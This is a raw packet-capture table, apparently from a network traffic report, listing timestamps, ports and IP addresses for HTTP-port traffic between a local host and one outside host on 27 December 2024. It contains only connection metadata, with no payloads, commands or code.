Dec 27, 2024 09:00:25.456691027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456707954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.456785917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.456902027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456938982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.456952095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457058907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457072973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457108021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.457108021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.457212925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457225084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457238913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457252026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457262993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457293034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.457293034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.457326889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.457839966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457880020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457892895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.457971096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.458013058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458026886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458040953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458051920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458080053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.458080053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.458421946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458444118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458458900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458465099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.458502054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.458558083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458652020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458671093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458683968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458720922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.458733082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.458733082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458746910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458754063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.458806038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.459363937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459389925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459404945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459443092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.459443092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.459539890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459553003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459566116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459579945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459598064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.459640026 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.459677935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459724903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459738016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.459793091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.460305929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.460326910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.460340023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.460361958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.460417986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.460439920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.506958961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.581506014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581526041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581537962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581585884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.581607103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581644058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581656933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581659079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.581729889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.581770897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581783056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581795931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581808090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.581846952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.581918001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.581939936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582003117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582015991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582083941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.582114935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582125902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582240105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.582412004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582425117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582431078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582536936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582547903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582550049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.582623005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582626104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.582633972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582645893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.582865953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.583064079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583092928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583105087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583147049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.583164930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.583246946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583259106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583270073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583285093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583307981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.583328009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.583434105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583446980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583456993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.583532095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.583992004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.584048986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.584049940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.626408100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.745001078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745066881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745080948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745176077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745182037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.745196104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745209932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745227098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745234966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.745289087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.745409012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745420933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745434999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745448112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745460033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745471954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.745474100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.745522022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745534897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.745552063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.745593071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.746049881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746062994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746073961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746108055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.746170044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746181965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746233940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.746525049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746536970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746547937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746568918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.746598959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.746629000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746640921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746653080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746665001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746694088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.746706963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.746788025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746798992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.746866941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.747241020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747258902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747272015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747296095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.747396946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747409105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747421026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747431993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747433901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.747456074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.747603893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747616053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747627974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.747688055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.747688055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.748157978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748219967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748231888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748265982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.748358011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748368979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748379946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748393059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748405933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.748445034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.748531103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748542070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748553038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.748572111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.748593092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.749113083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749181032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749191999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749218941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.749308109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749320030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749330997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749342918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749352932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.749392986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.749468088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749480009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749495029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.749545097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.749545097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.750056982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750124931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750137091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750174046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.750236988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750248909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750261068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750273943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750296116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.750296116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.750372887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750407934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750420094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.750421047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.750474930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.751044989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751055956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751068115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751096010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.751194000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751209021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751220942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751226902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.751231909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751281977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.751342058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751354933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751367092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751400948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.751400948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.751919031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751980066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.751991987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.752094030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.752115011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.752171993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.782923937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783102989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783113956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783127069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783144951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783147097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.783158064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783169985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783186913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.783209085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783220053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783221960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.783231020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783253908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.783282042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.783401012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783413887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783423901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783435106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783454895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783466101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783473015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.783473969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.783499002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.783524990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.784084082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784142017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.784173965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784185886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784229040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.784250975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784262896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784307957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.784616947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784651995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784665108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784728050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.784775019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784785986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784796953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:25.784825087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:25.784840107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.042135000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.042154074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.042213917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.057115078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.057133913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.057198048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.161791086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161813974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161827087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161839008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161851883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161864042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161875010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161880970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.161885977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161897898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161911011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161921978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161923885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.161935091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161946058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.161948919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161962032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161963940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.161973953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.161984921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162018061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162018061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162043095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162152052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162163973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162175894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162187099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162192106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162199020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162201881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162204027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162215948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162229061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162240028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162240982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162251949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162270069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162271023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162281036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162292957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162293911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162306070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162319899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.162327051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162327051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.162374973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:26.163017035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163028002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163039923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163050890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163068056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:26.163079977 CET	80	49743	185.215.113.16	192.168.2.4
